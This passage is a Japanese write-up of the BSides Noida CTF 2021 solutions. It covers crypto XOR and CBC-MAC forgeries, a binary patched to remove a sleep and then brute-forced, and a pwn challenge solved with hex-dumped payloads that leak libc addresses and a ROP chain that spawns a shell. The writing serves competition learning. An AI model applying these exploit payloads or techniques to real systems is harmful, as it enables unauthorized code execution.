BSides Noida CTF 2021 writeup

English version: [BSides Noida CTF 2021 writeup (English version) - Qiita](https://qiita.com/mikecat_mixc/items/e11a610b5809255352ad)

# 概要

[BSides Noida CTF 2021](https://ctf.bsidesnoida.in/) (2021/08/07 19:30 ～ 2021/08/08 19:30 (JST)) ([CTFtime.org](https://ctftime.org/event/1397)) に1人チームで参加した。
3748点を獲得し、正の点数を獲得した411チーム中21位だった。

解けた問題と解いた時刻は以下の通りである。

|Challenge|Category|Value|Time (JST)|
|---|---|--:|---|
|Baby Web|Web|420|2021/08/07 23:18:10|
|Xoro|Crypto|388|2021/08/07 23:37:15|
|MACAW|Crypto|445|2021/08/07 23:58:05|
|Psst|Misc|159|2021/08/08 00:23:49|
|Welcome|Misc|50|2021/08/08 00:48:38|
|Sanity|Reverse|437|2021/08/08 01:56:19|
|My Artwork|Misc|287|2021/08/08 06:53:39|
|Rev-Weird Interpreter|Reverse|494|2021/08/08 09:53:12|
|Pwn-Weird Interpreter|Pwn|495|2021/08/08 14:22:15|
|Macaw_Revenge|Crypto|473|2021/08/08 15:23:01|
|Farewell|Misc|50|2021/08/08 16:32:15|
|FeedBack Form|Misc|50|2021/08/08 18:17:59|

![Score over Time](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/42593d05-6932-c517-3ad3-f5586d54627c.png)


# 解けた問題

## Crypto

### Xoro

TCPサーバの接続情報と、サーバのプログラム`xoro.py`が与えられた。

`xoro.py`は、以下のような処理をしていた。

1. 32バイトのランダムな鍵を生成する
2. 入力を受け付ける
3. 「入力の後に`FLAG`を連結したもの」と「鍵を繰り返したもの」のxorをとり、出力する

32バイトの0x00を送ることで、以下のように最初の32バイトに鍵をそのまま出力してくれる。

```
===== WELCOME TO OUR ENCRYPTION SERVICE =====

[plaintext (hex)]>  0000000000000000000000000000000000000000000000000000000000000000
[ciphertext (hex)]> 26b1c562e6f9ddf4dadf1ed4749af310b94c313357c28dd66f97fabce7b1e5d364e28b0d8f9dbc8fb2b0698b17fb9d4fc023446c35b0e8b704c8aef4a2eebd9c74eefa43d9d8a0
See ya ;)
```

[CyberChefの説明ページ](https://github.com/gchq/CyberChef)にある例「Perform AES decryption, extracting the IV from the beginning of the cipher stream」を参考に[最初の32バイトをKeyとしたXORを行う](https://gchq.github.io/CyberChef/#recipe=Register%28%27%28.%7B64%7D%29%27,true,false,false%29From_Hex%28%27Auto%27%29Drop_bytes%280,32,false%29XOR%28%7B%27option%27:%27Hex%27,%27string%27:%27$R0%27%7D,%27Standard%27,false%29&input=MjZiMWM1NjJlNmY5ZGRmNGRhZGYxZWQ0NzQ5YWYzMTBiOTRjMzEzMzU3YzI4ZGQ2NmY5N2ZhYmNlN2IxZTVkMzY0ZTI4YjBkOGY5ZGJjOGZiMmIwNjk4YjE3ZmI5ZDRmYzAyMzQ0NmMzNWIwZThiNzA0YzhhZWY0YTJlZWJkOWM3NGVlZmE0M2Q5ZDhhMDI2YjFjNTYy)と、以下のOutputが得られた。

```
BSNoida{how_can_you_break_THE_XOR_?!?!}Òk.|
```

余計な部分を外すことで、flagが得られた。

```
BSNoida{how_can_you_break_THE_XOR_?!?!}
```

### MACAW

TCPサーバの接続情報と、サーバのプログラム`MACAW.py`が与えられた。

`MACAW.py`は、以下の処理を行う。

1. `secret_msg`を出力する
2. 3回まで、以下の処理のいずれかを選択させ、実行する
   * `secret_msg`でない入力データを`key`と`iv`を用いて`AES.MODE_CBC`で暗号化し、最後のブロックと`iv`を出力する
   * データを入力させ、それが`secret_tag`と一致したら`FLAG`を出力する

`iv, key, secret_msg, secret_tag`の性質については読み取れなかったが、
`iv`と`key`は固定であり、`secret_msg`を暗号化した最後のブロックが`secret_tag`であると予想した。

さて、CBCモードでは、「前の暗号文ブロック(もしくはIV)と今の平文ブロックのXOR」を暗号化したものが、
今の暗号文ブロックになる。
([暗号利用モード - Wikipedia](https://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E5%88%A9%E7%94%A8%E3%83%A2%E3%83%BC%E3%83%89#Cipher_Block_Chaining_(CBC)))
今回はIVが固定のようなので、あらかじめ平文ブロックを「暗号化で使われるIVと、使いたいIV(前の暗号化ブロック)のXOR」
とXORしておくことで、暗号化時に実質使うIVを指定し、分割して暗号化を行えるようになる。

実際に、以下のようにして`secret_msg`の暗号化を行った。

|平文ブロック|平文ブロック XOR 前の暗号文ブロック XOR IV|暗号文ブロック|
|---|---|---|
|(IV)||`4aa8d73c2f644a6cecf9cf1af82ebbe9`|
|`57656c636f6d6520746f204253696465`|`57656c636f6d6520746f204253696465`|`8992b52f29709147a0aa1e084a3bfe19`|
|`734e6f696461212120466f6c6c6f7720`|`b0740d7a6275fa0a6c15be7ede7a32d0`|`f25d4a2c1c95c62576b48019d63e4f00`|
|`7573206f6e20547769747465722e2e2e`|`cd86bd7f5dd1d83ef3393b665c3edac7`|`eae429a7fdc8b0d6161d02b9cce52ba9`|

最終的に得られたデータ`eae429a7fdc8b0d6161d02b9cce52ba9`を用いることで、flagが得られた。

```
BSNoida{M4c4w5_4r3_4d0r4b13}
```

### Macaw_Revenge

TCPサーバの接続情報と、サーバのプログラム`macaw_revenge.py`が与えられた。

`macaw_revenge.py`は、以下の処理を行う。

1. `iv` (16バイト)、`key` (16バイト)、`secret_msg` (48バイト)をランダムに設定する
2. `secret_msg`を`key`と`iv`を用いて`AES.MODE_CBC`で暗号化した最後のブロックを`secret_tag`とする
3. `secret_msg`を出力する
4. 3回まで、以下の処理のいずれかを選択させ、実行する
   * `secret_msg`でない入力データを`key`と`iv`を用いて`AES.MODE_CBC`で暗号化し、最後のブロックと`iv`を出力する
   * データを入力させ、それが`secret_tag`と一致したら`FLAG`を出力する

さて、CBCモードでは、「前の暗号文ブロック(もしくはIV)と今の平文ブロックのXOR」を暗号化したものが、
今の暗号文ブロックになる。
([暗号利用モード - Wikipedia](https://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E5%88%A9%E7%94%A8%E3%83%A2%E3%83%BC%E3%83%89#Cipher_Block_Chaining_(CBC)))
したがって、IVが固定の時、平文ブロックにIVと前の暗号文ブロックをXORしたものを暗号化すると、
IVが2回XORされて相殺され、この平文ブロックが前の暗号文ブロックの次に来た状態で暗号化できる。

この性質を利用し、以下の手順でflagを得ることができた。

1. `secret_msg`の最後以外のブロックを暗号化させる。
2. 1で出力された暗号文ブロックと`iv`を`secret_msg`の最後のブロックとXORしたものを暗号化させる。
3. 2で出力された暗号文が`secret_tag`のはずなので、入力する。

```
BSNoida{M4c4w5_4r3_pr3tty_l0ud}
```

## Misc

### Welcome

以下の問題文が与えられた。

> ```
> Welcome To BSides Noida CTF. Good Luck and Have fun :)
> Flag : BSNoida{W3lc0me_To_BSidesNoida_CTF}
> ```

問題文中の`flag : `の後の部分がflagになっていた。

```
BSNoida{W3lc0me_To_BSidesNoida_CTF}
```

### FeedBack Form

Googleフォームのリンクが与えられた。
リンク先は1ページのアンケートで、回答を送信するとflagが表示された。

```
BSidesNOIDA{s33_y0u_n3xt_t1m3}
```

### Farewell

ジグソーパズルをプレイできるWebページへのリンクが与えられた。

パズルを解くと、アニメ関係と思われる画像を背景に赤い文字が書かれた画像になった。
この画像の文字の部分は以下のような感じだった。

![出てきた画像の文字の部分](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2dbe472f-dfa2-0e3d-36ea-d6f446869383.png)

書かれている文字を順番に並べると以下のようになるが、これはflagではなかった。

```
BSNoida{Th4nk5_f0rpl4y1ng_See_y0u_n3xty34r_By3}
```

この文字列に`_`を2個補うことで、flagが得られた。

```
BSNoida{Th4nk5_f0r_pl4y1ng_See_y0u_n3xt_y34r_By3}
```

### Psst

ファイル`psst.tar.gz`が与えられた。
[7-Zip](https://sevenzip.osdn.jp/)で展開すると、ファイル`psst.tar`が出てきた。
`psst.tar`を7-Zipで展開しようとすると、パスが長すぎるというエラーになった。

`psst.tar`に`strings`コマンドをかけると、後半に`readme_(数字).txt`で終わるパスが見えた。
さらに、バイナリエディタで`psst.tar`からflagに含まれるであろう`{`を探すと、
まわりに0x00が多い中、これ1文字と改行(0x0A)がポツンと入っている様子がみられた。

そこで、以下のようにして`psst.tar`中に1文字で入っているデータを抽出した。
`grep`の`-x`は、行に正規表現で完全マッチさせるオプションである。

```
strings -n 1 psst.tar > psst-strings-n1.txt
grep -x . psst-strings-n1.txt > psst-strings-n1-onecharlines.txt
```

得られたデータに対し、[CyberChefで改行を消してReverseする](https://gchq.github.io/CyberChef/#recipe=Find_/_Replace%28%7B%27option%27:%27Extended%20%28%5C%5Cn,%20%5C%5Ct,%20%5C%5Cx...%29%27,%27string%27:%27%5C%5Cn%27%7D,%27%27,true,false,true,false%29Reverse%28%27Character%27%29&input=fQpmCjMKNwo3CmYKNgpjCjYKNgo2CjIKNwo1CjYKNgo3CmYKNgpiCjYKMwo2CjEKNgo0CjcKMwo3CjAKMgoyCjcKZgo2Cl8KZwpuCjEKdApwCjEKcgpjCjUKXwpoCjUKNApiCl8KMwo1CnUKXwp1CjAKeQpfCmQKMQpkCnsKYQpkCmkKbwpOClMKQgo)ことで、flagが得られた。

```
BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}
```

### My Artwork

テキストファイル`art.TURTLE`が与えられた。
このファイル中には、`REPEAT`で始まる行が28行あった。

「TURTLE interpreter」でググると、ここが見つかった。
[Free Online Turtle Graphics - logointerpreter.com - Surf your logo code! / Logo editor](http://www.logointerpreter.com/turtle-editor.php)

ここに`REPEAT`で始まる1行をコピペしてAnimateボタンを押すことで、1文字が描かれるようだった。
28行を順にコピペして処理し、描かれた文字を並べると、以下のようになった。

```
CODE_IS_BEAUTY_BEAUTY_ISCODE
```

この文字列を`BSNoida{}`で囲み、さらに`_`を補うことで、flagが得られた。

```
BSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}
```

## Pwn

### Pwn-Weird Interpreter

TCPサーバの接続情報と、ファイル`Weird_Interpreter.zip`が与えられた。
これらは問題[Rev-Weird Interpreter](#rev-weird-interpreter)で与えられたものと同じであった。
同問題を解く過程で、プログラムを実行する関数とその性質(スタック上のデータの配置など)がわかっている。

`FUN_00102a45`関数においてメッセージを出力する部分のコードは、

```
        00102ac2 48 8d 35        LEA        RSI,[s_Enter_ur_Code_:_001030a1]                 = "Enter ur Code : "
                 d8 05 00 00
        00102ac9 48 8d 3d        LEA        RDI,[std::cout]                                  = 
                 b0 26 00 00
                             try { // try from 00102ad0 to 00102b0b has its CatchHandler @
                             LAB_00102ad0                                    XREF[1]:     001033dc(*)  
        00102ad0 e8 2b f6        CALL       <EXTERNAL>::std::operator<<                      basic_ostream * operator<<(basic
                 ff ff
```

となっていた。したがって、`RSI`に出力したいデータのアドレスを入れ、0x2ac9番地に制御を移せば、
任意のデータを出力できるはずである。
`RSI`の設定は、0x29f1番地の`pop rsi; pop r15; ret`というgadgetを用いた
ROP (Return-Oriented Programming) でできそうである。

ROPを行うため、一度に複数の値を構築できる以下のプログラムを用意した。

<details><summary>num_gen_multi.pl</summary><div>

```num_gen_multi.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
	die "Usage: perl num_gen_multi.pl target_number [target_number...]\n";
}

my @targets = ();
for (my $i = 0; $i < @ARGV; $i++) {
	push(@targets, int($ARGV[$i]));
}

print "a334"; # nandeya hanshin kankei naiyaro
for (;;) {
	my $proceed = 0;
	for (my $i = 0; $i < @targets; $i++) {
		my $no = $i + ($i < 3 ? 0 : 2); # reserve 3 and 4
		if ($targets[$i] & 1) {printf "a%d%d3", $no, $no; }
		$targets[$i] >>= 1;
		if ($targets[$i] > 0) { $proceed = 1; }
	}
	if ($proceed) {
		print "a333";
	} else {
		last;
	}
}
```

</div></details>

リターンアドレス以降のスタックを以下のように設定することで、
0x5018番地に格納された`setvbuf`関数のアドレスを出力できる。
ただし、「差」はリターンアドレスとの差である。

```
0x29f1 (差 0x11b)
0x5018 (差 0x250c)
something
0x2ac9 (差 0x43)
```

さらに、[CS50 IDE][cs50]のGDB上で試した結果、
スタック上でリターンアドレスの直後にプログラムが格納されており、
実行開始後すぐにスタックを書き換えてしまうとプログラムが壊れてしまった。
これを防ぐため、プログラムの冒頭に意味のない命令を入れてROP用のデータを格納する領域を確保した。

以下のプログラムは、

1. ROP用のデータ領域
2. リターンアドレスの上位6バイトのコピー
3. リターンアドレスに足したり引いたりする値の構築
4. 構築した値とリターンアドレスの演算

という構造になっており、`setvbuf`関数のアドレスを出力する。

```
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 31 31 33 61 33 33 33 61 30 30 33  |a003a113a333a003|
00000070  61 33 33 33 61 33 33 33 61 32 32 33 61 33 33 33  |a333a333a223a333|
00000080  61 33 33 33 61 30 30 33 61 31 31 33 61 33 33 33  |a333a003a113a333|
00000090  61 33 33 33 61 31 31 33 61 33 33 33 61 33 33 33  |a333a113a333a333|
000000a0  61 33 33 33 61 31 31 33 73 33 33 33 73 8c 80 32  |a333a113s333s..2|
000000b0  61 84 80 31 73 80 80 30 0a                       |a..1s..0.|
```

同様に、以下のプログラムは、0x4fe0番地に格納された`__libc_start_main`関数のアドレスを出力する。

```
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 33 33 33 61 30 30 33 61 31 31 33  |a003a333a003a113|
00000070  61 33 33 33 61 33 33 33 61 31 31 33 61 32 32 33  |a333a333a113a223|
00000080  61 33 33 33 61 31 31 33 61 33 33 33 61 30 30 33  |a333a113a333a003|
00000090  61 33 33 33 61 33 33 33 61 31 31 33 61 33 33 33  |a333a333a113a333|
000000a0  61 33 33 33 61 33 33 33 61 31 31 33 73 33 33 33  |a333a333a113s333|
000000b0  73 8c 80 32 61 84 80 31 73 80 80 30 0a           |s..2a..1s..0.|
```

これらのプログラムを[Tera Term][teraterm]の「ファイル送信」で送信し、
サーバの出力を[Wireshark](https://www.wireshark.org/)で観測することで、これらの関数のアドレスを知ることができた。
その結果、`setvbuf`関数のアドレスは`0x7f0bedeed630`、
`__libc_start_main`関数のアドレスは`0x7f98159babc0`であった。
これらの関数のアドレスは16進数の下位3桁を除いてランダムであると考えられるが、
1個ずつ[libc-database](https://libc.rip/)に入力して調べた結果、
唯一の共通する結果として`libc6_2.32-0ubuntu3.1_amd64`が得られた。
このサイトの出力より、
`__libc_start_main_ret`は`0x28cb2`、`str_bin_sh`は`0x1ae41f`、`system`は`0x503c0`である。
これらの情報を使うことで、`system("/bin/sh")`を実行し、シェルを起動することができそうである。

[CS50 IDE][cs50]上のGDBを用いて調べた結果、スタック上に`__libc_start_main`関数内へ戻るアドレスがあったが、
`RSP`とこのアドレスの格納位置の差は入力の長さによって変化した。
そこで、`c`命令を実行するとプログラムの実行が終了することを利用し、
入力するプログラムにパディングを加えて長さを統一した状態で攻略を進めることにした。
入力の長さを512バイトに設定した時、このアドレスは`RSP + 0x308`、すなわち`RAM[0x17c]`から格納されていた。
このアドレスが`__libc_start_main_ret`に相当するので、
これを基点にして`str_bin_sh`や`system`のアドレスを作ることができる。
ただし、今回のシステムで加減算は16ビットでしかできず、下位16ビットとその上の間の繰り上がりへの対応は難しい。
幸い、アドレスが一様分布だと仮定するとこの繰り上がりにより失敗する確率は1/2であったため、運に頼ることにした。

最終的に、以下のようなデータを構築することで、ROPにより`system("/bin/sh")`を呼び出すことができる。
0x29f3番地は`pop rdi; ret`、0x29f4番地は`ret`というgadgetであり、
0x29f4番地はスタックのアラインメント調整のため入れてある。

```
0x29f3 (リターンアドレスとの差 0x119)
str_bin_sh (__libc_start_main_retとの差 0x18576d)
0x29f4 (リターンアドレスとの差 0x118)
system (__libc_start_main_retとの差 0x2770e)
```

以下がこのデータを構築するプログラムである。

<details><summary>payload-system.bin</summary><div>

```
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 89 30 81 61 8a 30 82 61 8b 30 83 61 35 33 33  |a.0.a.0.a.0.a533|
00000030  61 36 33 33 61 33 33 34 61 35 35 33 61 33 33 33  |a633a334a553a333|
00000040  61 36 36 33 61 33 33 33 61 31 31 33 61 35 35 33  |a663a333a113a553|
00000050  61 36 36 33 61 33 33 33 61 30 30 33 61 31 31 33  |a663a333a003a113|
00000060  61 32 32 33 61 35 35 33 61 36 36 33 61 33 33 33  |a223a553a663a333|
00000070  61 30 30 33 61 31 31 33 61 32 32 33 61 33 33 33  |a003a113a223a333|
00000080  61 31 31 33 61 35 35 33 61 33 33 33 61 31 31 33  |a113a553a333a113|
00000090  61 35 35 33 61 33 33 33 61 33 33 33 61 30 30 33  |a553a333a333a003|
000000a0  61 31 31 33 61 35 35 33 61 36 36 33 61 33 33 33  |a113a553a663a333|
000000b0  61 35 35 33 61 36 36 33 61 33 33 33 61 35 35 33  |a553a663a333a553|
000000c0  61 36 36 33 61 33 33 33 61 33 33 33 61 35 35 33  |a663a333a333a553|
000000d0  61 36 36 33 61 33 33 33 61 36 36 33 61 33 33 33  |a663a333a663a333|
000000e0  61 35 35 33 61 36 36 33 73 33 33 33 73 88 80 30  |a553a663s333s..0|
000000f0  61 30 30 34 73 80 80 30 72 30 31 61 84 30 35 61  |a004s..0r01a.05a|
00000100  8c 30 36 61 31 31 34 72 30 31 61 85 30 32 61 30  |.06a114r01a.02a0|
00000110  30 34 61 8d 30 34 61 31 31 34 72 30 31 61 86 30  |04a.04a114r01a.0|
00000120  33 61 8e 30 33 61 31 31 34 72 30 31 61 87 30 33  |3a.03a114r01a.03|
00000130  61 8f 30 33 63 30 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |a.03c0----------|
00000140  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000150  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000160  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000170  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000180  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000190  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001a0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001b0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001c0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001d0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001e0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001f0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000200  0a                                               |.|
```

</div></details>

このプログラムは、以下の処理をしている。

1. ROP構築用の領域確保
2. リターンアドレスの上位6バイトのコピー
3. 各種値の構築
4. `__libc_start_main_ret`の読み出しとコピー (値の加算を含む)
5. リターンアドレスから値を減算した値の構築
6. `c`命令による実行終了

このプログラムを用いて、シェルを起動することに成功した。
`ls`コマンドを実行すると、ファイル`flag1.txt`と`flag2.txt`があることがわかった。
`cat`コマンドを用いてこれらの中身を出力させると、
`flag1.txt`の中身は問題 Rev-Weird Interpreter のflagであり、`flag2.txt`の中身がこの問題のflagだった。

```
BSNoida{b3d51a88e2d57cb1a62816f9b8131430}
```

## Reverse

### Sanity

ファイル`Sanity.zip`が与えられ、展開すると実行可能ファイル`Sanity.exe`が得られた。

`Sanity.exe`を[Ghidra][ghidra]で逆コンパイルしてみると、
`entry`関数から`FUN_004011b0`関数が呼ばれており、
`FUN_004011b0`関数から呼ばれている`FUN_0040153f`関数が`main`関数に相当しそうであることが読み取れた。

<details><summary>ここまでの逆コンパイル結果</summary><div>

```c
/* WARNING: Exceeded maximum restarts with more pending */

void entry(void)

{
  __set_app_type(1);
  FUN_004011b0();
  __set_app_type(2);
  FUN_004011b0();
                    /* WARNING: Could not recover jumptable at 0x00401320. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  atexit();
  return;
}

void FUN_004011b0(void)

{
  code *pcVar1;
  int *piVar2;
  undefined4 *puVar3;
  UINT uExitCode;
  
  tls_callback_0(0,2,0);
  SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&LAB_00401000);
  FUN_00401a30();
  FUN_00402240(DAT_00405a04);
  FUN_00401690();
  pcVar1 = _iob_exref;
  if (DAT_00408020 != 0) {
    DAT_00405a08 = DAT_00408020;
    _setmode(*(int *)(_iob_exref + 0x10),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x30),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x50),DAT_00408020);
  }
  piVar2 = (int *)__p__fmode();
  *piVar2 = DAT_00405a08;
  FUN_00402040();
  FUN_00401bc0();
  puVar3 = (undefined4 *)__p__environ();
  uExitCode = FUN_0040153f(DAT_00408004,DAT_00408000,*puVar3);
  _cexit();
                    /* WARNING: Subroutine does not return */
  ExitProcess(uExitCode);
}
```

</div></details>

`FUN_0040153f`関数は以下のようになっており、
文字を出力したり`Sleep(100);`を呼んだりしながら入力データを1文字ずつチェックしている様子が読み取れた。

<details><summary>`FUN_0040153f`関数の逆コンパイル結果</summary><div>

```c
undefined4 FUN_0040153f(void)

{
  FILE *_File;
  char cVar1;
  uint uVar2;
  uint uVar3;
  char *pcVar4;
  int iVar5;
  undefined4 local_129;
  undefined4 local_125;
  undefined local_121;
  byte local_120 [264];
  undefined *local_18;
  
  local_18 = &stack0x00000004;
  FUN_00401bc0();
  local_129 = 0x65486548;
  local_125 = 0x69696f42;
  local_121 = 0;
  printf("Enter Flag : ");
  scanf("%256s",local_120);
  uVar3 = 0;
  do {
    uVar2 = 0xffffffff;
    pcVar4 = s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880;
    do {
      if (uVar2 == 0) break;
      uVar2 = uVar2 - 1;
      cVar1 = *pcVar4;
      pcVar4 = pcVar4 + 1;
    } while (cVar1 != '\0');
    if (~uVar2 - 1 <= uVar3) {
      puts("\nCorrect");
      return 0;
    }
    printf("\r%*s\r%s",9,&DAT_00406081,"Checking");
    fflush((FILE *)(_iob_exref + 0x20));
    uVar2 = (uint)((int)uVar3 >> 0x1f) >> 0x1d;
    if ((byte)(s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880[uVar3] ^ local_120[uVar3]) !=
        *(byte *)((int)&local_129 + ((uVar3 + uVar2 & 7) - uVar2))) {
      puts("\nWrong");
      return 0;
    }
    for (iVar5 = 0; iVar5 < 3; iVar5 = iVar5 + 1) {
      Sleep(100);
      _File = (FILE *)(_iob_exref + 0x20);
      fputc(0x2e,_File);
      fflush(_File);
    }
    uVar3 = uVar3 + 1;
  } while( true );
}
```

</div></details>

flagと推測できる最初の数文字を入力して試してみると、
合っている文字数が多いほど出力のバイト数が増えることがわかった。

そこで、まず`Sleep(100);`を呼んでいる部分をNOPで埋める改造を行った。
すなわち、ファイル`Sanity.exe`の0x9b7バイト目から0x9beバイト目までの8バイトをバイナリエディタで0x90に書き換え、
`Sanity-pat-ched.exe`という名前で保存した。
この部分は以下の部分に相当する。
また、ファイル名に`patched`を入れるとなぜか実行に管理者権限を要求されてしまうので、`pat-ched`とした。

```
        004015b7 e8 5c 27        CALL       KERNEL32.DLL::Sleep                              void Sleep(DWORD dwMilliseconds)
                 00 00
        004015bc 83 ec 04        SUB        ESP,0x4
```

さらに、flagを1文字ずつ探索する以下のプログラムを書き、実行した。

<details><summary>bruteforce.pl</summary><div>

```bruteforce.pl
#!/usr/bin/perl

use strict;
use warnings;

my $target = "Sanity-pat-ched.exe";

sub query {
	my $q = $_[0];
	open(PROC, "echo $q | $target |") or die "open failed: $!\n";
	my $data = "";
	while (<PROC>) { $data .= $_; }
	close(PROC);
	return length($data);
}

my $char_to_use = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}";
my $culen = length($char_to_use);

my $flag = "";
my $prev_len = &query($flag);

for (;;) {
	my $found = 0;
	for (my $i = 0; $i < $culen; $i++) {
		my $c= substr($char_to_use, $i, 1);
		my $flag_candidate = $flag . $c;
		my $l = &query($flag_candidate);
		if ($l > $prev_len) {
			$flag .= $c;
			print STDERR "$c\n";
			$prev_len = $l;
			if ($c eq "}") {
				print "$flag\n";
				exit;
			}
			$found = 1;
			last;
		}
	}
	unless ($found) {
		print STDERR "NOT FOUND\n";
		print "$flag\n";
		exit;
	}
}
```

</div></details>

結果、flagが得られた。

```
BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}
```

### Rev-Weird Interpreter

TCPサーバの接続情報と、ファイル`Weird_Interpreter.zip`が与えられた。
`Weird_Interpreter.zip`を展開すると、サーバのプログラム(ELFファイル)`Interpreter`が出てきた。

`Interpreter`を[Ghidra][ghidra]で逆コンパイルすると、以下のような処理をしていた。

1. `entry`関数から、`FUN_00102a45`などを引数として`__libc_start_main`関数を呼び出す
2. `FUN_00102a45`関数において、メッセージの出力、プログラムの読み込み、`FUN_00102750`関数の実行を行う
3. `FUN_00102750`関数において、プログラムの実行を行う

<details><summary>`FUN_00102a45`関数</summary><div>

```c
/* WARNING: Could not reconcile some variable overlaps */

undefined4 FUN_00102a45(void)

{
  long lVar1;
  char *__src;
  undefined4 uVar2;
  long in_FS_OFFSET;
  code *pcStack80;
  char *local_48;
  undefined8 local_40;
  char local_38 [24];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pcStack80 = (code *)0x102a78;
  setvbuf(stdin,(char *)0x0,2,0);
  pcStack80 = (code *)0x102a93;
  setvbuf(stdout,(char *)0x0,2,0);
  pcStack80 = (code *)0x102aae;
  setvbuf(stderr,(char *)0x0,2,0);
  local_48 = local_38;
  local_40 = 0;
  local_38[0] = '\0';
                    /* try { // try from 00102ad0 to 00102b0b has its CatchHandler @ 00102b2e */
  pcStack80 = (code *)0x102ad5;
  std::operator<<((basic_ostream *)std::cout,"Enter ur Code : ");
  pcStack80 = (code *)0x102ae5;
  std::operator>>((basic_istream *)std::cin,(basic_string *)(&pcStack80 + 1));
  __src = local_48;
  lVar1 = -((long)((int)local_40 + 1) + 0xfU & 0xfffffffffffffff0);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b04;
  strcpy((char *)((long)&pcStack80 + lVar1 + 8),__src);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b0c;
  uVar2 = FUN_00102750((long)&pcStack80 + lVar1 + 8);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b17;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  *(code **)((long)&pcStack80 + lVar1) = FUN_00102b47;
  __stack_chk_fail();
}
```

</div></details>

<details><summary>`FUN_00102750`関数</summary><div>

```c
/* WARNING: Type propagation algorithm not settling */

undefined8 FUN_00102750(char *param_1)

{
  bool bVar1;
  byte bVar2;
  size_t sVar3;
  undefined8 uVar4;
  int iVar5;
  byte bVar6;
  int iVar7;
  byte bVar8;
  byte bVar9;
  long in_FS_OFFSET;
  undefined8 local_a0;
  undefined6 uStack150;
  undefined8 uStack152;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined4 local_60;
  undefined local_58 [16];
  undefined local_48;
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  local_a0 = 0;
  uStack152 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  sVar3 = strlen(param_1);
  uStack152 = CONCAT62(uStack150,1);
  bVar8 = 0;
  bVar9 = 0;
  bVar1 = true;
  iVar5 = 0;
  while (bVar1) {
    bVar2 = param_1[iVar5] | 0x20;
    iVar7 = iVar5 + 2;
    bVar6 = param_1[iVar5 + 1] - 0x30;
    if (bVar2 != 99) {
      bVar9 = param_1[iVar7] - 0x30;
      iVar7 = iVar5 + 3;
